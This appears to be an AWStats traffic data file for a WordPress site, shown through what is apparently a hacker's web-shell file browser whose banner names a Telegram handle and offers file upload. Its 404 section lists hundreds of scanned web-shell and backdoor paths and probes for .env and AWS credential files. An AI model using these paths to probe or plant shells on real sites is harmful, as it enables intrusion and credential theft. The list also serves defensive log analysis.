https://t.me/AnonymousX5
Server : Apache
System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64
User : medchoco ( 2906)
PHP Version : 8.3.16
Disable Function : mail
Directory :  /home/medchoco/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/medchoco/tmp/awstats/awstats082023.medcho.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202308 will be lost/reset.
# Last config file used to build this data file was /home/medchoco/tmp/awstats/awstats.medcho.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2007                
POS_TIME 2686                
POS_VISITOR 34496               
POS_DAY 56804               
POS_DOMAIN 3566                
POS_LOGIN 4543                
POS_ROBOT 4698                
POS_WORMS 5331                
POS_EMAILSENDER 5462                
POS_EMAILRECEIVER 5605                
POS_SESSION 57538               
POS_SIDER 57749               
POS_FILETYPES 5740                
POS_DOWNLOADS 5911                
POS_OS 6119                
POS_BROWSER 6495                
POS_SCREENSIZE 8435                
POS_UNKNOWNREFERER 8509                
POS_UNKNOWNREFERERBROWSER 8781                
POS_ORIGIN 9048                
POS_SEREFERRALS 9186                
POS_PAGEREFS 9330                
POS_SEARCHWORDS 9478                
POS_KEYWORDS 9630                
POS_MISC 2349                
POS_ERRORS 9689                
POS_CLUSTER 4399                
POS_SIDER_404 9855                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230901022426 47 28132 4567711569031
FirstTime 20230801000507
LastTime 20230831222001
LastUpdate 20230901142230 47 0 46 0 0
TotalVisits 1156                
TotalUnique 588                 
MonthHostsKnown 0                   
MonthHostsUnknown 591                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 21 0
QuickTimeSupport 0 0 0
DirectorSupport 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
JavaEnabled 0 0 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 161 161 58377 237 250 3428280
1 104 104 24104 70 90 816687
2 84 84 23391 191 341 1409442
3 119 120 36423 103 185 395514
4 81 81 17101 327 448 3738595
5 166 166 662705 368 475 5941790
6 125 125 131953 318 405 2759045
7 105 105 23306 134 226 5069579
8 115 115 24529 534 681 19128510
9 108 110 211020 178 271 3983832
10 65 65 11471 83 105 555576
11 89 90 88760 87 171 721620
12 110 110 28802 86 134 1453673
13 63 63 17927 242 293 1210586
14 98 98 30580 76 109 866022
15 94 94 192682 536 552 16842316
16 158 158 45481 116 340 3579995
17 67 67 690388 115 255 1152221
18 61 61 182799 75 138 440064
19 77 77 182904 90 105 2033486
20 78 78 114441 112 219 5184140
21 94 94 24201 90 108 1227352
22 127 128 2823813 85 136 1925813
23 69 69 171653 176 393 5983056
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 59
in 1000 1000 20892
us 632 633 748017
cn 102 103 2739356
jp 89 89 210799
gb 62 62 510428
de 55 55 198485
ru 46 46 29794
no 37 37 745294
nl 34 35 39670
sc 31 31 12491
fr 29 29 276960
gr 25 25 11341
es 23 23 6821
it 22 22 8862
za 20 20 8056
lt 16 16 164852
id 16 16 6444
tr 16 16 6424
dk 14 14 5634
vn 13 13 5221
br 10 10 4022
ph 10 10 4030
au 9 9 3609
si 8 8 3216
ua 8 10 5930
mt 1 1 6055
hk 6 6 2406
md 2 2 802
ir 7 7 2813
zw 3 3 1203
hu 4 4 1604
zz 1 1 401
fi 1 1 401
co 2 2 806
pk 6 6 2410
sa 2 2 802
il 4 4 1604
my 3 3 1203
cl 1 1 401
be 4 4 1604
eu 1 1 401
cz 1 1 401
ca 7 7 2807
ar 1 1 401
bg 3 3 1203
ee 1 1 401
ro 3 3 1203
mu 1 1 401
lu 1 1 401
uz 1 1 401
kg 4 4 1604
ie 2 2 806
jo 1 1 401
pl 6 6 2406
tw 1 1 401
sg 4 4 1604
th 1 1 401
ch 1 1 401
kr 4 4 1604
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 14
bingbot/ 14 1443 20230830055706 14
(firefox/)([0-9]\.|[0-1][0]\.) 14 5642 20230808190604 0
Go\-http\-client/ 11 12078 20230828205645 0
MJ12bot/ 8 888 20230831174040 8
unknown 6 666 20230828022226 6
Googlebot/ 6 666 20230829194611 6
AhrefsBot/ 4 444 20230827223507 4
YandexBot/ 3 333 20230804093200 3
DotBot/ 3 333 20230809054533 3
facebookexternalhit/ 2 129516 20230823212616 1
curl 2 0 20230823190524 0
BLEXBot/ 2 222 20230828121731 2
YisouSpider 1 111 20230801005637 1
crawl 1 111 20230808081437 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 6
php 2334 555947 0 0
css 1 9234 0 0
html 60 5137930 0 0
txt 4 85610 0 0
Unknown 1 6055 0 0
xml 23 24035 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/wp-includes/ID3/license.txt 2 0 2722
/wp-content/plugins/woocommerce/readme.txt 1 0 19710
/wp-content/plugins/capability-manager-enhanced/readme.txt 1 0 63178
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 21
androidlollipop 22 21
macosx15 2 2
winxp 40 40
linuxubuntu 727 727
android 3 2
win10 380 378
win8 8 8
Unknown 958 958
win8.1 22 22
androidmarshmallow 2 2
winlong 12 12
macosx 4 4
android10 55 55
win7 127 126
winvista 1 1
ios_iphone 6 6
macosx10 6 6
ios_ipad 4 4
linux 35 35
androidkitkat 3 3
androidnougat 6 6
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 91
chrome57.0.2987.133 2 2
chrome68.0.3440.106 8 8
firefox60.0 6 6
chrome74.0.3729.169 13 13
chrome109.0.0.0 7 7
chrome90.0.4430.93 4 4
chrome74.0.3729.157 2 2
chrome79.0.3945.88 6 6
chrome85.0.4183.102 4 4
chrome44.0.2403.157 12 12
firefox38.0 4 4
firefox63.0 4 4
firefox58.0 14 14
chrome90.0.4430.212 10 10
firefox30.0 4 4
chrome63.0.3239.132 18 18
chrome21.0.1180.83 2 2
firefox50.0 16 16
chrome79.0.3945.117 4 4
chrome79.8.2 1 1
firefox33.0 12 12
chrome72.0.3626.121 16 16
firefox40.1 2 2
firefox44.0 8 8
chrome88.0.4240.193 2 2
chrome60.0.3112.107 6 6
firefox67.0 4 4
firefox62.0 719 719
chrome80.0.3987.163 4 4
chrome68.0.3440.91 2 2
chrome81.0.4044.129 3 3
firefox57.0 18 18
firefox52.0 22 22
chrome88.0.4324.190 6 6
chrome61.0.3163.100 18 18
firefox84.0 8 8
chrome56.0.2924.76 8 8
chrome65.0.3325.181 8 8
firefox61.0 12 12
safari 10 10
chrome88.0.4324.104 2 2
firefox95.0 12 12
firefox88.0 8 8
firefox43.0 4 4
chrome89.0.4389.90 12 12
firefox59.0 4 4
firefox45.0 2 2
chrome76.0.3809.132 4 4
firefox29.0 4 4
chrome78.0.3904.108 13 13
firefox36.0 4 4
chrome80.0.3987.149 2 2
firefox40.0 8 8
firefox73.0 10 10
android 3 3
firefox20.6.14 6 6
chrome74.0.3729.131 8 8
chrome64.0.3282.186 2 2
firefox85.0 8 8
chrome60.0.3112.113 24 24
firefox18.0 10 10
firefox78.0 8 8
chrome85.0.4183.121 4 4
firefox66.0 12 12
chrome81.0.4044.138 10 10
chrome91.0.4472.114 91 91
chrome89.0.4389.114 1 1
firefox77.0 2 2
firefox42.0 4 4
firefox17.0 4 4
chrome79.0.3945.130 10 10
chrome83.0.4103.116 4 4
firefox47.0 8 8
chrome114.0.0.0 1 0
chrome36.0.1985.67 1 0
chrome84.0.4147.105 6 6
chrome69.0.3497.100 2 2
Unknown 958 958
firefox41.0 4 4
chrome37.0.0.0 22 21
chrome87.0.4280.88 4 4
chrome86.0.4240.198 4 4
chrome95.0.4638.69 2 0
firefox54.0 16 16
chrome46.0.2490.71 8 8
chrome60.0.3112.90 16 16
chrome80.0.3987.132 2 2
chrome84.0.4147.135 10 10
firefox24.0 14 14
firefox34.0 12 12
chrome70.0.3538.102 4 4
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 4
cpp-httplib/0.10.9 20230802060412
WordPress/6.3.1;_https://medcho.com 20230831221447
WordPress/6.3;_https://medcho.com 20230829200055
WordPress/6.2.2;_https://medcho.com 20230809075448
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 4
WordPress/6.2.2;_https://medcho.com 20230809075448
WordPress/6.3;_https://medcho.com 20230829200055
WordPress/6.3.1;_https://medcho.com 20230831221447
cpp-httplib/0.10.9 20230802060412
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 2388 2392
From1 1 1
From2 0 0
From3 0 0
From4 29 30
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 7
302 760 0
500 2572 6292155
400 1 1
404 1188 82426310
409 1 2761
301 1584 0
403 226 952138
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 524
/private.php 2 http://medcho.com//private.php
/cgi-bin/cgi-bin/about.php 1 http://medcho.com//cgi-bin/cgi-bin/about.php
/xleet.php 2 http://medcho.com//xleet.php
/fileman/php/upload.php 1 -
/wp-includes/Requests/xmrlpc.php 1 -
/ups.php 2 http://medcho.com//ups.php
/fake-v1-Loader.js 1 -
/Deadcode1975.php 2 http://medcho.com//Deadcode1975.php
/mar.php 2 http://medcho.com//mar.php
/wordpress 3 -
/wp-content/uploads/typehub/custom/.RxR.php 2 http://medcho.com//wp-content/uploads/typehub/custom/.RxR.php
/css/cloud.php 1 http://medcho.com//css/cloud.php
/wp-content/plugins/anttt/simple.php 4 http://medcho.com//wp-content/plugins/anttt/simple.php
/wp-includes/theme-compat/xmrlpc.php 1 -
/editor/filemanager/upload/php/upload.php 1 -
/priv8.php 2 http://medcho.com//priv8.php
/cp.php 2 http://medcho.com//cp.php
/wp-content/plugins/minipiwertumin2/un.php 1 medcho.com
/wp-content/plugins/hellopress/ 1 -
/backbone-associalone.js 1 -
/wp-content/plugins/w0rdpr3ssnew/about.php 2 http://medcho.com//wp-content/plugins/w0rdpr3ssnew/about.php
/wp-content/plugins/linkpreview/db.php 2 http://medcho.com//wp-content/plugins/linkpreview/db.php
/d3-axis-axis.js 1 -
/wp-admin/css/colors/xmrlpc.php 4 -
/wp-admin/xmrlpc.php 3 -
/wordpress/ 2 -
/xlettt.php 2 http://medcho.com//xlettt.php
/img/cloud.php 1 http://medcho.com//img/cloud.php
/alfanew.php 1 http://medcho.com//alfanew.php
/plugins.php 2 http://medcho.com//plugins.php
/js/bplayer.js 1 -
/xmrlpc.php 4 -
/rxr.php 4 http://medcho.com//rxr.php
/statics/images/pw/cpzx_06.png 15 -
/wp-includes/Requests/Transport/ 1 -
/wp-admin/includes/xmrlpc.php 5 -
/wp-admin/css/colors/midnight/xmrlpc.php 1 -
/wp-admin/css/colors/blue/xmrlpc.php 4 -
/wp-admin/css/colors/blue/blue.php 3 -
/wp-content/install.php 2 -
/babelstafilsh-.js 1 -
/1975.php 2 http://medcho.com//1975.php
/end.php 2 http://medcho.com//end.php
/machina-nvoice.js 1 -
/wp-includes/rest-api/xmrlpc.php 1 -
/Gecko.php 2 http://medcho.com//Gecko.php
/bk 3 -
/js/theia-sticky-sidebar.js 1 -
/edit-comments.php 2 http://medcho.com//edit-comments.php
/wp-content/themes/gaukingo/db.php 2 http://medcho.com//wp-content/themes/gaukingo/db.php
/wp-includes/Requests/Exception/HTTP/ 1 -
/cgi-bin/xmrlpc.php 5 -
/license.php 2 http://medcho.com//license.php
/cloud.php 1 http://medcho.com//cloud.php
/wp-admin/wp-trc.php 2 http://medcho.com//wp-admin/wp-trc.php
/1337.php 2 http://medcho.com//1337.php
/.aws/credentials 1 -
/wp-content/plugins/real/v.php 2 http://medcho.com//wp-content/plugins/real/v.php
/fallback-pie.js 1 -
/upl.php 4 http://medcho.com//upl.php
/wp-content/plugins/background-image-cropper/ 1 -
/indexs.php 2 http://medcho.com//indexs.php
/javascript-debug-fo-js.js 1 -
/DKIZ.php 2 http://medcho.com//DKIZ.php
/templates/beez3/error.php 2 http://medcho.com//templates/beez3/error.php
/sitemap.txt 5 -
/gd-sprest-countdown.js 1 -
/wp-includes/blocks/xmrlpc.php 1 -
/dropdown.php 3 http://medcho.com//dropdown.php
/absurdmicons.js 1 -
/inputs.php 3 medcho.com
/uploadfile/2019/0527/20190527030150880.png 1 -
/css.php 2 http://medcho.com//css.php
/wp-content/plugins/forminator/assets/js/shared-ui.js 1 medcho.com
/order/js/jquery.js 1 -
/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/utchiha.php 2 http://medcho.com//utchiha.php
/wp-content/up.php 2 http://medcho.com//wp-content/up.php
/tmpshell.php 2 http://medcho.com//tmpshell.php
/style.php 4 http://medcho.com//style.php
/wp-content/plugins/hellopress/wp_mna.php 1 www.google.com
/sym.php 2 http://medcho.com//sym.php
/wp-content/themes/sketch/404.php 1 www.google.com
/up.php 2 http://medcho.com//up.php
/406.php 2 http://medcho.com//406.php
/d3-array-annotation.js 1 -
/uploads/guihuaguan.jpg 13 -
/wp-content/dropdown.php 2 http://medcho.com//wp-content/dropdown.php
/tnt.php 2 http://medcho.com//tnt.php
/sco.php 1 medcho.com
/snd.php 2 http://medcho.com//snd.php
/wp-admin/maint/moon.php 1 http://medcho.com//wp-admin/maint/moon.php
/wp-includes/IXR/xmrlpc.php 1 -
/wp-content/xmrlpc.php 1 -
/wp-admin/js/about.php7 1 http://medcho.com//wp-admin/js/about.php7
/mass.php 2 http://medcho.com//mass.php
/sitemap_index.xml 2 -
/d/file/xinwenzixun/lvfayaowen/2020-11-28/2d520fbce278e7ec315e6437d2292c59.jpg 2 -
/wp-includes/wp-class.php 5 http://medcho.com//wp-includes/wp-class.php
/ccx/ 1 -
/wp-content/plugins/hello-dolly/ 1 -
/wp-includes/home.php 2 http://medcho.com//wp-includes/home.php
/JavaScript-autocompleteasync.js 1 -
/leet.php 2 http://medcho.com//leet.php
/mad.php 2 http://medcho.com//mad.php
/img/xmrlpc.php 3 -
/mailcheck-chord.js 1 -
/.well-known/acme-challenge/xmrlpc.php 7 -
/wp-content/plugins/xwp/up.php 1 -
/echarts-lonjslone.js 1 -
/wp-text/themes/seotheme/ 1 -
/user-new.php 2 http://medcho.com//user-new.php
/xox.php 2 http://medcho.com//xox.php
/wp-content/themes/ccx/ 1 -
/across-files.js 1 -
/wp-content/upgrade/xmrlpc.php 1 -
/wp-content/wp_filemanager.php 2 http://medcho.com//wp-content/wp_filemanager.php
/statics/images/pw/cpzxzan_17.png 17 -
/statics/images/pw/cpzxzan_13.jpg 22 -
/machineboy2045-nvoice-selectize2.js 1 -
/wp-includes/ID3/xmrlpc.php 1 -
/d/file/xinwenzixun/lvfayaowen/2020-11-28/c9de50fdf0184eb1a94ad4be25224f85.jpg 1 -
/ton.php 2 http://medcho.com//ton.php
/wp-admin/includes/moon.php 1 www.google.com
/css/xmrlpc.php 4 -
/wp-content/themes/finley/min.php 2 http://medcho.com//wp-content/themes/finley/min.php
/tmp/vuln.php 2 http://medcho.com//tmp/vuln.php
/wp-admin/css/colors/modern/xmrlpc.php 1 -
/wp-content/plugins/TOPXOH/wDR.php 5 http://medcho.com//wp-content/plugins/TOPXOH/wDR.php
/503.php 2 http://medcho.com//503.php
/wp-includes/atom.php 2 http://medcho.com//wp-includes/atom.php
/statics/images/pw/cpzx_31.png 17 -
/wp-content/plugins/woocommerce-payments/dist/blocks-checkout.css 2 -
/wp-admin/home.php 2 http://medcho.com//wp-admin/home.php
/temp/ 1 -
/wp-content/plugins/instabuilder2/cache/plugins/moon.php 1 http://medcho.com//wp-content/plugins/instabuilder2/cache/plugins/moon.php
/wp-content/plugins/w0rdpr3ssnew/ 1 -
/1index.php 1 www.google.com
/sites/all/libraries/elfinder/connectors/php/connector.php 2 http://medcho.com//sites/all/libraries/elfinder/connectors/php/connector.php
/babel-core-client.js 1 -
/wp-content/plugins/ht-mega-for-elementor/assets/css/htbbootstrap.css 1 -
/wp-content/uploads/xmrlpc.php 1 -
/easyi-nvoice.js 1 -
/wp-includes/widgets/xmrlpc.php 1 -
/css/ 1 -
/lyda.php 2 http://medcho.com//lyda.php
/d/file/xinwenzixun/lvfayaowen/2020-11-28/fc6af10b7bc8e8175f30c19659e8a156.jpg 1 -
//.well-known/acme-challenge/install.php 1 -
/wp-content/plugins/elementor-pro/changelog.txt 1 -
/wp-content/plugins/vs-admin-media/ 1 -
/marijuana.php 2 http://medcho.com//marijuana.php
/d/file/xinwenzixun/lvfayaowen/2020-11-29/bba50eb926c696e413852fd1b3c71b3e.jpg 1 -
/uploads/sanjiang.jpg 13 -
/www.php 2 http://medcho.com//www.php
/wp-includes/Requests/Response/ 1 -
/0z.php 2 http://medcho.com//0z.php
/wp-content/plugins/background-image-cropper/ups.php 1 -
/R00T.php 2 http://medcho.com//R00T.php
/wp-touch.js 3 medcho.com
/users.php 2 http://medcho.com//users.php
/hehe.php 2 http://medcho.com//hehe.php
/ckplayer/ckplayer.js 1 -
/bc 3 -
/old 3 -
/shell.php 2 http://medcho.com//shell.php
/wp-includes/pomo/xmrlpc.php 1 -
/wp-content/themes/welfare-charity/www.php 2 http://medcho.com//wp-content/themes/welfare-charity/www.php
/wp-admin.php 2 medcho.com
/wp-content/themes/light-skeleton/wp-cache.php 1 medcho.com
/lufi.php 2 http://medcho.com//lufi.php
/wp-admin/css/colors/ocean/xmrlpc.php 1 -
/wso.php 2 http://medcho.com//wso.php
/wp-includes/wp_filemanager.php 2 http://medcho.com//wp-includes/wp_filemanager.php
/images/F0x.php 2 http://medcho.com//images/F0x.php
/1877.php 2 http://medcho.com//1877.php
/wp-content/cong.php 2 http://medcho.com//wp-content/cong.php
/wp-add.php 1 medcho.com
/uploadfile/2019/0802/20190802100958406.jpg 2 -
/test/ 1 -
/wp-content/themes/mero-magazines/ws.php 1 -
/.env 16 -
//.well-known/pki-validation/cloud.php 1 -
/css 1 -
/z.php 2 http://medcho.com//z.php
/.hg 1 -
/dyycyxdoad/ 1 -
/wso112233.php 3 http://medcho.com//wso112233.php
/babylonassjs.js 1 -
/alfanew.php7 4 http://medcho.com//alfanew.php7
/wp-content/themes/pridmag/db.php 4 http://medcho.com//wp-content/themes/pridmag/db.php
/wp 3 -
/home/xmrlpc.php 1 -
/d/file/xinwenzixun/lvfayaowen/2020-11-26/11357971f021fabfa65dbc2a6b2bff60.jpg 1 -
//.well-known/acme-challenge/cloud.php 1 -
/zb_system/cmd.php 1 http://www.medcho.com/zb_system/cmd.php
/wp-includes/css/xmrlpc.php 1 -
/wp-includes/customize/xmrlpc.php 1 -
/access.php 2 http://medcho.com//access.php
/theme-install.php 2 http://medcho.com//theme-install.php
/text.php 2 http://medcho.com//text.php
/alfaindex.php 2 http://medcho.com//alfaindex.php
/blog/ 1 -
/1.php 2 http://medcho.com//1.php
/wp-admin/wp-22.php 2 http://medcho.com//wp-admin/wp-22.php
/wp-file.php 2 http://medcho.com//wp-file.php
/wp-content/plugins/TOPXOH/ 1 -
/wp-content/themes/seotheme/mar.php 1 www.google.com
/old/ 2 -
/emergency.php 2 http://medcho.com//emergency.php
/IndoXploit.php 2 http://medcho.com//IndoXploit.php
/statics/images/pw/dhhs_06.png 1 -
/wp_filemanager.php 2 http://medcho.com//wp_filemanager.php
/log.php 2 http://medcho.com//log.php
/wp-includes/shell20211028.php 2 http://medcho.com//wp-includes/shell20211028.php
/columns.php 2 http://medcho.com//columns.php
/wp-includes/random_compat/about.php 1 http://medcho.com//wp-includes/random_compat/about.php
/js/jquery1.42.min.js 2 -
/wpx.php 2 http://medcho.com//wpx.php
/wp-includes/certificates/xmrlpc.php 1 -
/wp-includes/sodium_compat/xmrlpc.php 1 -
/font-editor.php 2 http://medcho.com//font-editor.php
/wp-admin/fx.php 2 http://medcho.com//wp-admin/fx.php
/plugin-install.php 2 http://medcho.com//plugin-install.php
/tesla.php 2 http://medcho.com//tesla.php
/uploadfile/2019/0703/20190703091028659.png 1 -
/mini.php 2 http://medcho.com//mini.php
/init.php 2 http://medcho.com//init.php
/shell20211028.php 2 http://medcho.com//shell20211028.php
/themes.php 2 http://medcho.com//themes.php
/m8tro-bootstrap-pie.js 1 -
/wp-content/themes/my-custom-theme/ 1 medcho.com
/wp-includes/images/xmrlpc.php 1 -
/wp-includes/SimplePie/xmrlpc.php 1 -
/new/ 1 -
/easy-axis.js 1 -
/.wp-cli/ 2 -
/credits.php 2 http://medcho.com//credits.php
/wp-content/themes/twenty/twenty.php 1 http://medcho.com//wp-content/themes/twenty/twenty.php
/statics/images/pw/dhan_03.png 18 -
/wp-includes/rest-api/about.php 1 http://medcho.com//wp-includes/rest-api/about.php
/admin/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/wp-includes/block-patterns/xmrlpc.php 1 -
/wp-content/plugins/wp-file-upload/ROOBOTS.php 3 http://medcho.com//wp-content/plugins/wp-file-upload/ROOBOTS.php
/images/xmrlpc.php 6 -
/updates.php 1 http://medcho.com//updates.php
/wp-admin/js/widgets/cloud.php 1 http://medcho.com//wp-admin/js/widgets/cloud.php
/classwithtostring.php 1 http://medcho.com//classwithtostring.php
/wp-includes/Requests/Text/wp-login.php 1 www.google.com
/fox.php 2 http://medcho.com//fox.php
/fw.php 2 http://medcho.com//fw.php
/.well-known/security.txt 1 http://www.medcho.com/.well-known/security.txt
/wp-includes/block-supports/xmrlpc.php 1 -
/__1975.php 2 http://medcho.com//__1975.php
/shells.php 2 http://medcho.com//shells.php
/ads.txt 3 http://www.medcho.com/ads.txt
/utchiha_uploader.php 2 http://medcho.com//utchiha_uploader.php
/b1a3k.php 2 -
/repeater.php 4 www.google.com
/statics/images/pw/cpzx_34.png 17 -
/uploads/guanling.jpg 12 -
/contents.php 2 http://medcho.com//contents.php
/wp-content/plugins/core-stab/casper.php 2 http://medcho.com//wp-content/plugins/core-stab/casper.php
/new 3 -
/term.php 2 http://medcho.com//term.php
/wp-admin/js/xmrlpc.php 1 -
/uploads/meishuguan.jpg 12 -
/by.php 1 http://medcho.com//by.php
/editor/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/symlink.php 2 http://medcho.com//symlink.php
/.well-known/pki-validation/xmrlpc.php 5 -
/byp.php 2 http://medcho.com//byp.php
/wp-admin/includes/users.php 2 http://medcho.com//wp-admin/includes/users.php
/statics/images/pw/cpzx_112.png 17 -
/cgi-bin/cloud.php 1 http://medcho.com//cgi-bin/cloud.php
/wp-includes/style-engine/xmrlpc.php 1 -
/js/script.js 1 -
/0x.php 2 http://medcho.com//0x.php
/hammer-time-nvoice.js 1 -
/xxl.php 2 http://medcho.com//xxl.php
/wp-admin/user/xmrlpc.php 3 -
/wp-content/themes/mero-magazine/ 1 -
/wp-includes/install.php 2 -
/d/file/xinwenzixun/lvfayaowen/2020-12-02/40f01bb8e7c741a3db642ad0109f755a.jpg 1 -
/humans.txt 3 http://www.medcho.com/humans.txt
/google.php 2 http://medcho.com//google.php
/wp-content/plugins/install.php 2 -
/admin/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/about.php 1 http://medcho.com//about.php
/admin.php 2 www.google.com
/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/wp-content/themes/seotheme/ 1 -
/wp-content/themes/wp-classic/inc/ 2 -
/bala.php 3 http://medcho.com//bala.php
/babel-polyjson.js 1 -
/wp-admin/wp_filemanager.php 2 http://medcho.com//wp-admin/wp_filemanager.php
/gecko.php 2 http://medcho.com//gecko.php
/root.php 2 http://medcho.com//root.php
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/xx.php 2 http://medcho.com//xx.php
/wp-includes/Requests/Exception/ 1 -
/images/ 2 -
/js/fileman/php/upload.php 1 -
/wsu.php 2 http://medcho.com//wsu.php
/backbone-formsstorage.js 1 -
/wp-info.php 2 http://medcho.com//wp-info.php
/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php 1 http://medcho.com//wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php
/.well-known/acme-challenge/cloud.php 1 -
/wp-content/plugins/elementor-pro/assets/css/editor.css 2 -
/uploads/cifuhu.jpg 12 -
/wp-content/plugins/hellopress/wp_filemanager.php 4 http://medcho.com//wp-content/plugins/hellopress/wp_filemanager.php
/order/%3C 4 -
/wp-includes/class-json-ajax-session.php 2 http://medcho.com//wp-includes/class-json-ajax-session.php
/xzourt.php 2 http://medcho.com//xzourt.php
/demo.php 2 http://medcho.com//demo.php
/user.php 2 http://medcho.com//user.php
/alfa-rex.php7 2 www.google.com
/backup 3 -
/minishell.php 2 http://medcho.com//minishell.php
/wp-admin/shell20211028.php 2 http://medcho.com//wp-admin/shell20211028.php
/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt 1 www.google.com
/wp-includes/sitemaps/xmrlpc.php 1 -
/admin/editor/editor/filemanager/browser/default/connectors/php/connector.php 1 -
/admin/ckeditor/fileman/php/upload.php 1 -
